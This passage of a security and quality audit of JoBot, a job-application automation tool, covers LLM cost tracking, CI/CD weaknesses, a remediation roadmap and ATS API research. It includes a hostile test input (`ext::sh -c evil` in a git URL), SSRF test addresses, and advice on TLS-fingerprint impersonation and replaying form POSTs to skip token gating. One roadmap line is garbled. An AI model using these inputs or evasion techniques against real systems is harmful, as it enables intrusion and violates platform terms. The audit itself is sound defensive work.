Nitpick	Selector weight formula 1.0 - (idx * 0.1) would zero the 10th strategy. No list is that long today but the formula is fragile.	src/jobot/stealth/selectors.py:106	S
Nitpick	failure/catalog.py CAPTCHA_TRIGGERED enum entry is dead. Defined but no adapter raises or catches it.	src/jobot/failure/catalog.py:20	S

6. AI / LLM Stack

Score: 6.4 / 10 | Findings: 3 Critical, 4 High, 5 Medium, 4 Low, 1 Nitpick.

The LLM provider abstraction is clean — 12 concrete providers behind a single `LLMProvider` ABC, with Bedrock/Gemini/Vertex using their native async SDKs rather than sync wrappers, and a single `http_post_json` helper that makes the HTTP-family providers trivially mockable in tests. The daily-budget gate is real and persisted (`~/.jobot/data/llm_spend.json` keyed by ISO date, survives restarts), the fallback chain is deterministic and observable, and the drafter/reviewer loop with `verify_fact_truthfulness_detailed` is a meaningful grounding gate on resume tailoring.

What undermines the AI stack: cost tracking uses a whitespace-split token estimator that under-reports tokens 2–5× on code/JSON/CJK; no JSON mode is wired into any provider (fragile `find('{' )` parsing); no caller uses the streaming infrastructure that exists; prompts are inline f-strings with no versioning or A/B; and the `EvalHarness` is dead code masquerading as a quality gate — 5 hardcoded JSON scenarios, grounding check compares two strings, daily cap check inverts a boolean, CI asserts `pass_rate == 1.0` (structurally guaranteed).

6.1 Critical Findings

Severity	Finding	Location	Effort
Critical	estimate_tokens is len(text.split()) — silently breaks cost tracking. Under-counts tokens 2-5× for code, JSON, CJK. Daily-budget gate (DEFAULT_DAILY_BUDGET_USD = 5.0) silently under-reports spend; users on Cohere routinely exceed declared budget.	src/jobot/llm/bas e.py:118	M
Critical	Eval harness is dead code masquerading as a quality gate. 5 hardcoded JSON scenarios, evaluate_scenario is series of if 'X' in exp: branches doing trivial string comparisons — never invokes LLM, CandidateGroundingVerifier, or ModelRouter.	src/jobot/evals/h arness.py:76	L
Critical	USER_GUIDE.md fabricates 13+ CLI commands that don't exist (jobot resume tailor, jobot match-jobs, jobot approvals decide, jobot evidence show, jobot campaign run, etc). Contradicts the project's own honesty doctrine.	USER_GUIDE.md:141	M

The cost-tracking finding is the highest-leverage fix in the AI stack. It's not just a budget issue — it's a trust issue. A user who sees `current_spent_usd = $0.42` on a 4K-token JSON-heavy prompt believes they have \$4.58 of headroom when the actual spend may be \$2.10. The fix is straightforward: wire `tiktoken` for OpenAI-family, read `usage` from Cohere v2 responses (which return `meta.tokens.input_tokens/output_tokens`), use `anthropic.count_tokens` for Claude, and fall back to `len(text) // 4` (closer to reality than whitespace split) for unknown providers.

6.2 High Findings

Severity	Finding	Location	Effort
High	Sync <code>urllib.urlopen</code> inside <code>async def complete()</code> blocks the event loop for OpenAI/Anthropic/Mistral/Cohere. 2-30s per LLM round-trip starves <code>DurableTaskEngine</code> heartbeats and <code>BrowserSession</code> interactions.	src/jobot/llm/bas e.py:50	S
High	No token-budget policy — long profiles/JDs blow past model context. <code>tailor.py</code> concatenates entire profile + entire JD verbatim. A 400-error from 'context_length_exceeded' silently falls through to <code>DEGRADATION_TEXT</code> .	src/jobot/documen ts/tailor.py:190	M
High	Streaming infrastructure exists but no caller uses it. ~200 LOC of dead-from-a-UX-standpoint code across 8 providers. Cover letter generation (~5s on Gemini Flash) shows a spinner with zero feedback.	src/jobot/llm/rou ter.py:264	M
High	No structured-output / JSON mode used by any provider. <code>_extract_json</code> does <code>text.find('{')</code> to <code>text.rfind('}')</code> — fails on responses with prose around JSON. Any model that prefaces JSON with 'Here is...' breaks the parser.	src/jobot/llm/pro viders.py:79	M
High	<code>CandidateGroundingVerifier</code> token-overlap heuristic has both false-positive and false-negative failure modes. <code>overlap_ratio >= 0.2</code> passes 'extensive experience in software engineering best practices'; <code>== 0.0</code> fails 'Designed scalable distributed services serving 10M+ rps'.	src/jobot/ai/cand idate_truth.py:18 4	L
High	<code>test_ai.py::test_model_router_fallback_chain</code> is tautological. <code>router.generate_text</code> returns <code>DEGRADATION_TEXT</code> on total failure (a non-empty str), so the test passes whether providers succeed or fail. Structurally incapable of detecting a regression.	tests/test_ai.py: 66	S

Severity	Finding	Location	Effort
High	No coverage threshold enforced in CI; pytest-cov not in dev extras. CI runs --cov but no --cov-fail-under. docs/quality/production-readiness.md:13 admits 'Coverage not measured'. A 0%-coverage PR merges green.	.github/workflows/ci.yml:53	S
High	Pricing table missing OpenRouter / Groq / Together / vLLM model entries. They share the openai_compat default (\$0.25/M input, \$1/M output). Real OpenRouter Claude 3.5 Sonnet is \$3/M input, \$15/M output — 12× higher than reported.	src/jobot/llm/pricing.yaml:49	M

6.3 Medium & Lower Findings

Severity	Finding	Location	Effort
Medium	ProviderPricing.max_tokens field is never enforced. Caller passing max_tokens=100000 to Claude 3.5 Haiku gets a 400 from Anthropic; router treats it as provider failure and falls through.	src/jobot/llm/base.py:47	S
Medium	EvalOptimizer.analyze_portal_performance hardcodes limit=1000. A user with >1000 applications gets success rates computed only on a stale subset.	src/jobot/evals/optimizer.py:28	S
Medium	Cover letter _truncate can cut PII mid-token. 'my phone is +91 98765 43210' → 'my phone is +91 98765 ...'. Combined with no system-prompt prohibition on contact info, partial PII ships.	src/jobot/documents/cover.py:73	S
Medium	resume_*.txt / resume_*.html exported with default 0644 perms — full candidate PII at rest. Vault is hardened 0600; resume exporter is not.	src/jobot/documents/pdf_exporter.py:99	S
Medium	ResumeImporter._heuristic_parse assumes first non-empty line is the candidate's name. A resume starting with 'CURRICULUM VITAE' produces first_name='CURRICULUM'.	src/jobot/documents/importer.py:181	S
Medium	All ~10 prompts are inline f-strings — no templates, no versioning, no A/B. A prompt improvement requires PR + review + release. metrics_history doesn't track prompt-hash.	src/jobot/ai/qa_engine.py:158	L
Medium	No per-task temperature / top_p override. _resolve_task_override only allows provider and model. Resume tailoring at temp=0.6 still produces non-deterministic JSON; cover letter at temp=0.7 produces generic prose.	src/jobot/llm/router.py:171	S
Low	tests/npm/system.test.js is a 19-line tautology. Two tests asserting on literals defined in the same file. Zero coverage of actual system behavior.	tests/npm/system.test.js:1	S
Low	tests/conftest.py uses time.sleep(1.0) for Flask startup — flaky on slow CI. No retry, no port-polling.	tests/conftest.py:14	S
Low	http_post_sse_async uses default thread pool — concurrent LLM streams can saturate it (5 parallel cover-letter generations pin 5 of 32 workers).	src/jobot/llm/base.py:77	S
Low	BedrockProvider.complete constructs a fresh boto3 client per call — 50-100ms of client-setup overhead per LLM round-trip.	src/jobot/llm/providers.py:648	S

Severity	Finding	Location	Effort
Low	MockATSAdapter is wired into production default portal lists. tests/mock_atl/server.py is test infrastructure imported via tests/mock_atl/__init__.py and registered in AdapterRegistry.	src/jobot/discovery/engine.py:74	S
Low	ToolSpec / tools= parameter is dead surface. Pydantic model defined, every provider serializes it, but rg 'tools=' src/jobot/ returns 0 production callers.	src/jobot/llm/base.py:28	S
Low	ModelRouter.metrics_history: List[ModelCallMetrics] is unbounded. A 30-day campaign with 100 calls/day = 3000 entries x ~200 bytes. In-memory only, lost on restart.	src/jobot/llm/router.py:78	S
Nitpick	pricing.yaml for gemini-2.5-flash appears stale. Lists output_per_1k: 0.0015; actual is \$0.0025/1K (40% under-reporting). Gemini is the default primary provider.	src/jobot/llm/pricing.yaml:5	S

7. DX, CI/CD & Performance

Score: 5.5 / 10 | Findings: 0 Critical, 5 High, 8 Medium, 5 Low, 2 Nitpick (cross-cutting DX/CI/CD/Performance).

The CI matrix is genuinely impressive — 3-OS x 3-Python x 2-Node = 18 cells, SBOM with provenance attestation, a dedicated security-gates job with `pip-audit --strict + npm audit + gitleaks full-history`, CodeQL on push and PR, Dependabot across all three ecosystems. The Dockerfile uses a multi-stage build and runs as a non-root user with a named volume. These are production-grade foundations.

What drags the score down: `USER_GUIDE.md` fabricates 13+ CLI commands that don't exist; `docs/user/cli-reference.md` mentions `jobot discover` (no such command); `AGENTS.md` is 986 lines of which ~95% is generic agent-operating prose unrelated to JoBot; CI has no `--cov-fail-under` and `pytest-cov` is missing from the dev extras (so the locally-documented workflow `pytest -q` fails on the CI flag); `release-desktop.yml` uses tag-pinned actions, inconsistent with the SHA-pinning in every other workflow; `publish.yml` uses legacy `twine upload` with a long-lived API token instead of PyPI Trusted Publishing (OIDC); and `canary.yml` runs only 4 test files nightly — a regression introduced Monday in `documents/tailor.py` isn't caught until Friday's manual run.

7.1 High Findings

Severity	Finding	Location	Effort
High	<code>docker-compose.yml</code> runs 'jobot doctor' with restart: no and no healthcheck. <code>docker compose up</code> runs doctor, exits, container is dead. No runnable container configuration for actual job application.	<code>docker-compose.yml:13</code>	S
High	<code>ResumeExporter.compile_html_resume</code> doesn't HTML-escape profile fields. 'O'Brien ' produces O'Brien parsed as a element. XSS surface if HTML is served.	<code>src/jobot/documents/pdf_exporter.py:59</code>	S

Severity	Finding	Location	Effort
High	release-desktop.yml uses tag-pinned actions (@v4) not SHA-pinned — inconsistent with every other workflow. The release workflow builds signed desktop installers that ship to end users; a compromised @v4 tag ships malware.	.github/workflows/release-desktop.yml:34	S
High	publish.yml uses legacy twine upload with long-lived PYPI_API_TOKEN secret instead of PyPI Trusted Publishing (OIDC). A leaked token allows indefinite malicious package uploads.	.github/workflows/publish.yml:27	S
High	canary.yml runs only 4 test files nightly — no full-suite regression, no LLM smoke test. The 'Live Portal & ATS Canary Check' name oversells what runs.	.github/workflows/canary.yml:32	M

7.2 Medium & Lower Findings

Severity	Finding	Location	Effort
Medium	Dockerfile ships git in runtime image; lacks pdftotext/lualatex. Users run jobot apply in Docker, get a different PDF than locally (silent reportlab fallback), and don't know why.	Dockerfile:24	M
Medium	docs/user/cli-reference.md mentions jobot discover which doesn't exist. Real command is jobot scrape with --keywords --location --limit --save --companies --all --json --no-dedup --hours-old --country.	docs/user/cli-reference.md:23	S
Medium	AGENTS.md is 986 lines but ~95% is generic agent operating instructions. APPENDIX: WEB APPLICATION DEVELOPMENT alone is ~50 lines on design aesthetics. Useful project context buried.	AGENTS.md:1	S
Medium	docs/dev/architecture.md describes a '12-layer architecture' that doesn't match code. Actual src/jobot/ has 26 top-level packages with no 1:1 mapping to the 12 layers. Layer 2 says 'age encryption' but code uses Fernet.	docs/dev/architecture.md:1	S
Severity	Finding	Location	Effort
Low	BedrockProvider._stream_sync uses default ThreadPoolExecutor — concurrent Bedrock streams can saturate the pool and block unrelated to_thread calls (DB checkpoint writes, evidence collection).	src/jobot/llm/base.py:77	S
Low	BedrockProvider constructs a fresh boto3 client per call — 50-100ms of client-setup overhead per LLM round-trip. Should be cached in __init__.	src/jobot/llm/providers.py:648	S
Low	MockATSAdapter wired into production default portal lists. Real campaigns hit 127.0.0.1:5800 or return fabricated fallback postings.	src/jobot/discovery/engine.py:74	S
Low	tests/npm/system.test.js is a 19-line tautology asserting on hard-coded literals.	tests/npm/system.test.js:1	S
Low	tests/conftest.py uses time.sleep(1.0) for Flask startup — flaky on slow CI.	tests/conftest.py:14	S

Severity	Finding	Location	Effort
Nitpick	docs/dev/architecture.md lists 12 layers but actual src/jobot/ has 26 packages. Layer 11 'Evaluation' says '6 categories' but EvalHarness has 6 enum values that are barely used.	docs/dev/architecture.md:1	S
Nitpick	QAEngine.classify_question substring-matches 'notice' — 'Please notice our privacy policy' returns '30 Days' as the answer to a privacy-policy question.	src/jobot/ai/qa_engine.py:50	S

7.3 CI/CD Strengths

- SHA-pinned GitHub Actions in 4 of 6 workflows (checkout, codeql-action, gitleaks-action all by full commit SHA).
- 18-cell CI matrix: 3 OS (ubuntu-latest, macos-latest, windows-latest) × 3 Python (3.11, 3.12, 3.13) × 2 Node (20, 22).
- SBOM (CycloneDX) generated and uploaded with provenance attestation (SLSA Level 3 implied by sigstore signing).
- Dedicated security-gates job: pip-audit --strict, npm audit --audit-level=high, gitleaks full-history scan.
- CodeQL runs on every push and PR (codeql.yml).
- Dependabot configured for pip, npm, and github-actions ecosystems with daily cadence.
- Docker image: multi-stage build, non-root user (uid 1000), named volume for state, no host path bind.
- Live tests are opt-in via JOBOT_RUN_LIVE_BROWSER=1 and JOBOT_RUN_LIVE_SCRAPE=1 env vars — never accidentally hit real APIs in CI.
- Hermetic test doubles: FakeBrowserSession, FakePage, FakeLocator, FakeSaga, FakeJobSpy, FakeFrame, FakeSeries, mock_atl/server.py, mock_linkedin/app.py.
- Dockerfile: .dockerignore is thorough (excludes .git, tests, node_modules, *.db, log.md).

8. Cross-Cutting Strengths

Beyond the per-dimension strengths already noted, the following patterns are worth preserving through any future refactor. They represent design decisions the project got right and should not be regressed during remediation work:

- **Strict type discipline.** Only 3 # type: ignore escapes in 19,500 LOC. mypy --strict is configured. The two unavoidable escapes are post-write re-reads in the durable engine (could be eliminated by returning the in-memory snapshot instead of re-querying).
- **Explicit state machines.** applications/state_machine.py:_PROTOCOL_EDGES is a frozen dict with explicit legal transitions; execution/engine.py:TASK_TRANSITIONS uses the same pattern for tasks. IllegalApplicationTransition and IllegalTransition raise on violations.
- **Versioned, checksummed migrations.** storage/migrations.py records the SHA-256 of each migration's source in schema_migrations; a modified historical migration is detected and refused (fail-closed). Whitespace-normalized digest so formatter runs don't break the ledger.
- **Adapter capability Flag enum.** AdapterCapability(Flag) + guard_capability raises AdapterCapabilityError (subclass of NotImplementedError) when a discovery-only adapter is asked to

submit — fabrication is structurally prevented at the adapter base class. `test_no_fake_submission.py` parametrizes this across every registered adapter.

- **Clean separation in asp/.** pipeline (12-phase DoD-gated execution), saga (write-ahead audit + compensation), orchestrator (composition + dry-run). The orchestrator's docstring explicitly notes it 'wraps the pipeline and never reorders its phases (status contract preserved)'.

- **Test ratio is healthy.** 497 test defs vs 327 src defs = 1.52 tests per production function. Integration tests are marked (integration, scrapers) and gated behind env vars. No TODO/FIXME/HACK markers shipped in src/.

- **DI discipline in test seams.** `StdioSidecarServer.__init__` accepts 11 optional dependencies (db, vault, analytics, scheduler, digest, engine, orchestrator, config, trace_logger, profile_loader) for hermetic testing. `EmailSender` accepts an `smtp_factory`. `SalaryBenchmark` accepts an `http_getter`.

- **Real SSRF defense.** `url_guard.py` checks scheme, host, userinfo, literal private IPs (loopback/link-local/multicast/unspecified/RFC1918), DNS-resolved addresses, and re-validates on every redirect hop. Tests cover 169.254.169.254, 0.0.0.0, [::1], IPv6-mapped. The documented residual (DNS-rebinding-to-RFC1918) is honest about scope.

- **safe_urlopen as a single choke point.** Every adapter / scraper / careers-scanner goes through it. Scheme allowlist, host-IP boundary checks, per-hop redirect re-validation, `allow_private_hosts=True` opt-in for test infra.

- **infer_site uses exact host-suffix matching** (never substring against the raw URL) — defeats the CodeQL py/incomplete-url-substring-sanitization pattern. Unknown hosts raise `ValueError` rather than guessing.

- **Direct-API ATS family** (scrapers/ats.py + adapters/greenhouse.py + adapters/lever.py) is the model the browser adapters should follow: real public API, no fabrication, proper evidence collection via `BrowserEvidenceCollector.record_api_evidence`, honest empty-on-failure.

- **BrowserEvidenceCollector design is correct:** application_id-namespaced directories, SHA-256 DOM hashing, split-timestamp stamping (`submitted_at` / `submission_verified_at`), `manifest.json`. Just needs wiring into the browser adapters.

- **WorkdaySubmitter checks already-applied markers BEFORE clicking apply** and returns `DUPLICATE_SKIPPED` (proper idempotent terminal state). Naukri submit does this too (with the inconsistency noted in the findings).

- **Easy Apply saga has exactly ONE submit click point.** `linkedin_easy_apply.py:197` — await `self.browser.click(submit_btn, page=page)`; break. The break exits the while loop, after which only screenshot capture and success-marker verification happen. No double-submit code path within the saga.

- **ContinuousCampaignRunner is cost-gated** — halts when `ModelRouter.current_spent_usd >= daily_budget_usd`. Good safety property.

- **docs/contracts.md is excellent:** explicit frozen-interface table mapping merge-plan names to actual code symbols; known limitations called out; verification commands listed; phase addenda track additive changes over time.

- **docs/asp.md is excellent:** 12-phase state machine with per-phase DoD gates, mermaid state diagram, failure/resilience behavior, and explicit test cross-references.

- **tests/test_durable_engine.py is a real kill-anywhere proof:** parametrized over 3 kill phases, simulates worker death via `WorkerDied` exception, simulates restart via fresh `DurableTaskEngine(db)`, asserts exactly one `EffectStatus.COMMITTED` for the idempotency key.

- **ResumeData is a clean content model:** structured `ResumeSection/ResumeEntry` tree rendered through Jinja2 to LaTeX, to plain text, and to PDF — single source of truth across all three engines.

- **LaTeX compilation is shell-escape-free:** `subprocess.run([engine, '-interaction=nonstopmode', '-halt-on-error', 'resume.tex'])` — no `--shell-escape`, no `--enable-write18`. The `escape_latex` filter (`compiler.py:22-26`) escapes `\{\}$\&\#\^_\%~` before template interpolation. Safe against malicious resume content.

9. Prioritized Remediation Roadmap

The following roadmap sequences remediation by attacker return on investment, not by raw severity label. Each phase can ship independently and produces measurable improvement in the project's production readiness. Estimated effort is per-phase, assuming a single developer with project context.

9.1 Phase 1 — Critical Fixes (1–2 days)

These five fixes close the most exploitable surfaces with minimal code change. None requires architectural rework. Each can be shipped as a single PR with a focused test.

- Rewrite git history to remove `state/profile/skills.md`; rotate exposed phone + email; remove `(^|/)state/` from `.gitleaks.toml`; add `state/profile/` to `.gitignore`; add a CI step that fails if `state/profile/*` is tracked.
- Fix `_config_get` to mask secrets (use `ConfigManager.is_secret()` branch) or remove the RPC method entirely; add a unit test that asserts `_config_get('llm.api_key.gemini')` returns the masked form.
- Add URL scheme allowlist to `plugins/installer.py: _as_git_url` (`{http, https, ssh, git, file}`); pass `-c protocol.ext.allow=never` to git clone as defense in depth; add a test that `install('ext::sh -c evil')` raises.
- Drop CWD `.env` lookup from `ModelRouter._load_dotenv` — keep only `~/.jobot/.env`. One line removal.
- Delete the 5 dead modules (`storage/models.py`, `task_graph.py`, `workflows/application.py`, `memory/system.py`, `updater.ReleaseManager`); migrate the two test modules that depend on them to exercise the real production paths.
- Fix the 6 fabricating adapters to raise `NotImplementedError/AdapterCapabilityError` instead of fabricating results. Aligns adapters with the project's own honesty doctrine.

9.2 Phase 2 — Hardening Sprint (1 week)

These fixes address resource leaks, async discipline, and LLM cost correctness. They are larger than Phase 1 but still well-scoped. Each can be parallelized across contributors.

- Wire `BrowserSessionPool` into adapters (or delete the pool and document that each adapter manages its own session). Pick one — the current split-brain is the worst of both worlds.
- Convert adapters to async context managers (async with `adapter:`) so `_session.close()` runs on exit. Wire `ContinuousCampaignRunner.run_continuous_campaign()` to use it.
- Close browser pages in `try/finally` (or use `async with self._session.new_page() as page:`). Eliminates the 2000-page leak on a 1000-application campaign.
- Replace `estimate_tokens` with real usage from API responses (Cohere v2 `meta.tokens`, OpenAI streaming usage, Anthropic usage) and `tiktoken` for OpenAI-family; fall back to `len(text) // 4`. Add `test_estimate_tokens_within_30pct_of_real`.

- Add token-budget truncation: `src/jobot/llm/token_budget.py` with `truncate_for_context(messages, max_input_tokens, model)` using `tiktoken/anthropic.count_tokens`. Apply before each `complete()` call in `ModelRouter`.
- Wire `BrowserEvidenceCollector.capture_pre_submit/capture_post_submit` into LinkedIn, Naukri, Workday, Workable Live, Ashby Live adapters. Replace `EasyApplySaga`'s hardcoded `'01_opened.png'` with `application_id-namespaced` paths.
- Add JSON mode to LLM providers: `response_format` parameter on `LLMProvider.complete()`; wire OpenAI's `response_format`, Anthropic's tool-use prefill, Gemini's `response_mime_type`, Cohere's `response_format`. Pass `response_format='json'` from `Drafter` and `Reviewer`.
- Add `CondPageBreak(available_height * 0.25)` before each H1 in CLI docs (metaphor — actually: split `cli/main.py` into a `cli/` package with submodules per command group). Target ≤ 300 LOC per submodule.
- Add `pytest-cov` to dev extras; add `--cov-fail-under=70` to `pyproject.toml` [`tool.pytest.ini_options`] addopts; upload coverage to Codecov in `ci.yml`.
- Pin `release-desktop.yml` actions to SHA (matching `ci.yml` where overlap exists). Add a `scripts/check_workflow_pins.py` CI step that fails if any uses: is not SHA-pinned.
- Migrate `publish.yml` to `pypa/gh-action-pypi-publish@release/v1` with permissions: `id-token: write`. Delete `PYPI_API_TOKEN` from GitHub secrets.
- Run full suite nightly in `canary.yml`; add a `JOBOT_RUN_LIVE_LLM=1` job with a \$0.10 budget that pings each configured provider with a 16-token prompt and asserts a non-degradation response.

9.3 Phase 3 — Quality Sprint (2 weeks)

These fixes address architectural debt and improve long-term maintainability. They require coordinated changes across multiple modules and should be planned as focused sprints.

- Refactor `Application` into a rich aggregate root: make `status` a private Pydantic field with a setter that calls `transition_application`; replace `form_values: Dict[str, Any]` with a typed `ApplicationMetadata` sub-model; freeze `JobPosting` (read-only after parse); move `transition_application` to a method on `Application`.
- Delete the three competing `TaskStatus` enums; merge into one canonical enum in `models/domain.py` with all 12 states; delete `task_graph.py` entirely.
- Deduplicate the 4 portal lists into a config-driven `PortalConfig[]` (with `name`, `daily_cap`, `scrape_method`, `submit_method`) in `config/profile.py`. All four call sites read from this single source. Fix the `zip_recruiter` typo.
- Remove `MockATSAdapter` from production default portal lists; gate registration behind `JOBOT_TEST_MODE=1`; add a `test_only: true` field to `AdapterRegistry.metadata` and filter from list-sites unless `--all` is passed.
- Replace `CandidateGroundingVerifier` token-overlap heuristic with an LLM-as-judge verifier (separate `ModelRouter.generate_text` call with a strict rubric). Cap at ≤ 3 LLM calls per document. Add `tests/test_grounding_false_positive_rate.py` with ≥ 30 borderline cases and assert $F1 \geq 0.85$.
- Replace `EvalHarness` with real evals: ≥ 50 scenarios covering `profile_direct/behavioral/sensitive/injection/grounding-fail/parse-fail`. Wire `harness.py` to actually invoke `ModelRouter.generate_text` + `CandidateGroundingVerifier.verify_text`. Gate CI on `pass_rate` ≥ 0.9 . Use `JOBOT_RUN_LIVE_LLM=1` for live evals; deterministic stub-provider evals for CI.
- Write a docs-CLI-consistency test (`tests/test_docs_cli_consistency.py`) that asserts every CLI example in `docs/user/*.md` resolves to a registered command. Generate `docs/user/cli-reference.md` from typer

introspection.

- Pull prompts/*.j2 templates out of code: create `src/jobot/prompts/{qa_engine,skill_extractor,drafter,reviewer,cover_letter,resume_parser}.j2`; load via `Jinja2 Environment(loader=PackageLoader)`; add `prompt_version` field to `ModelCallMetrics`; log `prompt_hash` in `metrics_history`.
- Add streaming to cover-letter generation: wire `generate_text_stream` into `cli/main.py` `coverletter_cmd` and into the GUI sidecar apply RPC; stream chunks over `stdout/JSON-RPC`.
- Add per-task temperature / `top_p` / `max_tokens` overrides in the `task_overrides` schema; apply in `ModelRouter.complete` after resolving model.
- Replace `StealthHTTPClient` with real `tls-client.Session(client_identifier=...)` for JA3 impersonation, or delete the 'stealth' branding and call it `PoliteHTTPClient`. Document the residual detection surface honestly in `STEALTH_LIMITS.md`.
- Add a vault passphrase-KDF migration: wrap the master key with a passphrase-derived KEK using `scrypt` or `argon2-cffi` (high cost params); prompt for passphrase at startup; keep unwrapped DEK only in memory. Add `jobot vault rotate` command. Plan as major-version migration.

10. Conclusion

JoBot is a project of two faces. On one hand, it implements textbook production-grade reliability primitives — a durable execution engine with atomic lease claiming and effect-ledger idempotency, a 12-phase Application Submission Pipeline with per-phase DoD gates, a structural reconcile-never-replay invariant, real SSRF defense, and a strict Tauri CSP. The architectural scaffolding for reliability and safety is genuinely excellent and would not embarrass a team of senior engineers.

On the other hand, the project ships 16 Critical and 35 High findings that are exploitable today. A committed candidate PII file exempted from secret scanning, a sidecar RPC that returns raw API keys, a plugin installer that accepts `ext::URLs` as RCE, six adapters that fabricate results in violation of the project's own honesty doctrine, a 2021-line god-module CLI, an anemic mutable domain model with three competing status enums, and a stealth layer that is partly theatrical — these are the symptoms of a project that has grown faster than its review process can absorb. The user-facing `USER_GUIDE.md` even fabricates 13+ CLI commands that don't exist, which is a particularly stark contradiction of the project's stated 'Zero fabrication' doctrine.

The good news is that the gap between current state (6.0/10) and a production-ready state (8.5+/10) is bridgeable with focused effort. Phase 1 of the remediation roadmap (1–2 days of work) closes the three Critical security findings and the six fabrication findings — moving the project from 'exploitable today' to 'hardened against opportunistic attack'. Phase 2 (one week) closes the resource-leak and `async-discipline` issues that affect reliability under load. Phase 3 (two weeks) addresses the architectural debt that affects long-term maintainability. After Phase 3, the project would score in the 8.0–8.5 range — competitive with commercial job-application tooling and a credible open-source contribution to the space.

The single most important cultural recommendation is to align documentation with code. The fabrication in `USER_GUIDE.md` is a stronger signal of process breakdown than any individual security finding — it means the maintainer is writing documentation for a system that doesn't exist. A docs-CLI-consistency test in CI would have caught every fabricated command at the moment it was written. Honest documentation is the

cheapest possible quality gate, and the project already has the honesty doctrine in place to enforce it.

Recommended next steps for the maintainer: (1) execute Phase 1 of the remediation roadmap as a single PR; (2) open issues for the Phase 2 and Phase 3 items in priority order; (3) add the docs-CLI-consistency test to CI as the first new test; (4) consider archiving or deleting the Workable/Ashby Live adapters and the CaptchaSolver until they are wired in correctly. The audit worklog at `/home/z/my-project/worklog.md` contains the full per-finding evidence and can be used as the source of truth for issue text.

Following the original ten chapters, Chapters 11 and 12 extend the audit with a forward-looking **Platform Tier Expansion Plan**. Chapter 11 documents extensive research into the public API surfaces of 25 ATS platforms and job boards — determining which platforms can realistically reach tier-4 (direct API), which can only reach tier-3 (browser), and which have ToS or auth ceilings that prevent automation. Chapter 12 integrates the resulting tier-migration plan with the remediation roadmap: it sequences platform-upgrade work after the audit's Phase 1 critical fixes, and proposes four additional phases (A–D) that move every tier-2 platform up to tier-3 minimum, expand tier-4 coverage where the research supports it, and harden the existing tier-3 adapters that the audit found to be partly fabricated.

11. Platform Tier Expansion Research

This chapter documents extensive research into the public API surfaces of 25 ATS platforms and job boards. The objective: determine, for each platform JoBot currently supports at tier-2 (discovery-only) or tier-1 (scraper), whether tier-3 (browser automation) is achievable, whether tier-4 (direct API submission) is achievable, and what the realistic ceiling is. The research draws on official vendor documentation (verified by direct page read where possible), third-party API directories (apis.io, getknit.dev, jobspipe.dev, supergood.ai, merge.dev, kombo.dev), and the open-source job-bot ecosystem (python-jobsby, AIHawk, Simplify, Sonara, LazyApply, Huntr, Teal).

The headline finding: the candidate-side apply API tier-4 category is much rarer than JoBot's current docs imply. Only **Lever** has a truly unauthenticated, documented, public apply endpoint. **Recruitee** is the next-best — its Careers Site API `POST /api/offers/{offer_slug}/candidates` is documented as candidate-perspective and appears unauthenticated. **Greenhouse**, **SmartRecruiters**, **Personio**, **JazzHR**, and **BambooHR** each have a documented apply API that requires an employer-side token, but their public web apply forms (the HTML form POST) accept the same payload without that token — so tier-4 status depends on whether JoBot POSTs as a form (works) or uses the documented JSON API (needs auth). Every major job board (Indeed, Glassdoor, ZipRecruiter, LinkedIn, Google for Jobs) has either retired its public API or gated it behind a partner program.

11.1 Research Methodology

Each platform was evaluated against five criteria: (1) Does it expose a public job-postings API for discovery? (2) Does it expose a public candidate-apply API for submission? (3) If yes, what are the auth requirements — unauthenticated, API key, OAuth, or partnership-only? (4) If no, is the apply flow a hosted HTML form (good for tier-4 form-POST), an SPA with token-gated XHR (tier-3 only), or a multi-step wizard with CAPTCHA

and anti-bot (tier-3 with reliability risk)? (5) What is the platform's ToS posture toward automated submission — friendly, silent, or explicitly prohibitive? The findings are summarized per platform below, with confidence levels and verification steps where appropriate.

11.2 Current Tier Inventory

Platform	Current Tier	Discovery Method	Apply Method	Realistic Ceiling
Greenhouse	Tier 4 (API)	Boards API (no auth)	HTTP POST (form)	Tier 4 (verified)
Lever	Tier 4 (API)	Postings API (no auth)	HTTP POST (no auth)	Tier 4 (verified)
Workday	Tier 3 (Browser)	CXS feed	Patchright (broken per audit)	Tier 3
LinkedIn Easy Apply	Tier 3 (Browser)	JobSpy scraper	Patchright (broken per audit)	Tier 3 (ToS risk)
Naukri	Tier 3 (Browser)	Scraper (fabricated per audit)	Patchright (login works)	Tier 3
Ashby	Tier 2 (Discovery)	Public JSON API	AdapterCapabilityError	Tier 3 (SPA + isBlocked)
Workable	Tier 2 (Discovery)	Public JSON API	AdapterCapabilityError	Tier 3 (or stealth Tier 4)
Recruitee	Tier 2 (Discovery)	Careers Site API	AdapterCapabilityError	Tier 4 (candidate-perspective API)
Teamtaylor	Tier 2 (Discovery)	Partner API (key)	AdapterCapabilityError	Tier 3 (SPA)
BambooHR	Tier 2 (Discovery)	HTML scraping	AdapterCapabilityError	Tier 4 (PHP form POST)
Indeed	Tier 1 (Scraper)	JobSpy	AdapterCapabilityError	Tier 1 (ToS prohibits)
Glassdoor	Tier 1 (Scraper)	JobSpy	AdapterCapabilityError	Tier 1 (ToS prohibits)
ZipRecruiter	Tier 1 (Scraper)	JobSpy	AdapterCapabilityError	Tier 1 (ToS prohibits)
Google for Jobs	Tier 1 (Scraper)	JobSpy	AdapterCapabilityError	Tier 1 (redirect-only)

Note: the 'Current Tier' column reflects JoBot's stated tier in the README; the audit revealed that three tier-3 adapters (Workday login, LinkedIn Easy Apply resume upload, Naukri parse/discover) are partly or wholly non-functional and must be fixed before being claimed as tier-3 in production.

11.3 Tier-4 Candidates (Direct API)

The following platforms expose a candidate-side apply surface that does not require a browser. Each is a candidate for tier-4 (direct HTTP form-POST or JSON-POST). Verification level is noted — high-confidence platforms can be implemented directly; medium-confidence platforms need one DevTools session to capture the form action URL before implementation.

Platform	Auth Model	Endpoint	Confidence	Verification Step
Lever (existing)	None (truly public)	POST /postings/:posting/apply	High	Already verified in JoBot

Platform	Auth Model	Endpoint	Confidence	Verification Step
Greenhouse (existing)	Form POST works without auth; JSON API requires Basic Auth	POST boards.greenhouse.io/{token}/jobs/{id}	High	Add runtime reCAPTCHA detection; degrade to tier-3 if enabled
Recruitee	None (Careers Site API, candidate-perspective)	POST /api/offers/{slug}/candidates	High	curl test on one real offer_slug; confirm 201 response
SmartRecruiters (new)	Form POST works; JSON API requires X-SmartToken	POST jobs.smartrecruiters.com/{co}/{uuid}	Medium	Capture form action in DevTools; replay with curl
Personio (new)	Form POST works; JSON API requires Bearer + X-Company-ID	POST {co}.jobs.personio.de/job/{id}	Medium	Capture form action; verify multipart accepted
JazzHR (new)	Form POST likely works (applytojob.com PHP)	POST {co}.applytojob.com/apply/{id}	Medium	View-source on real posting; capture form action
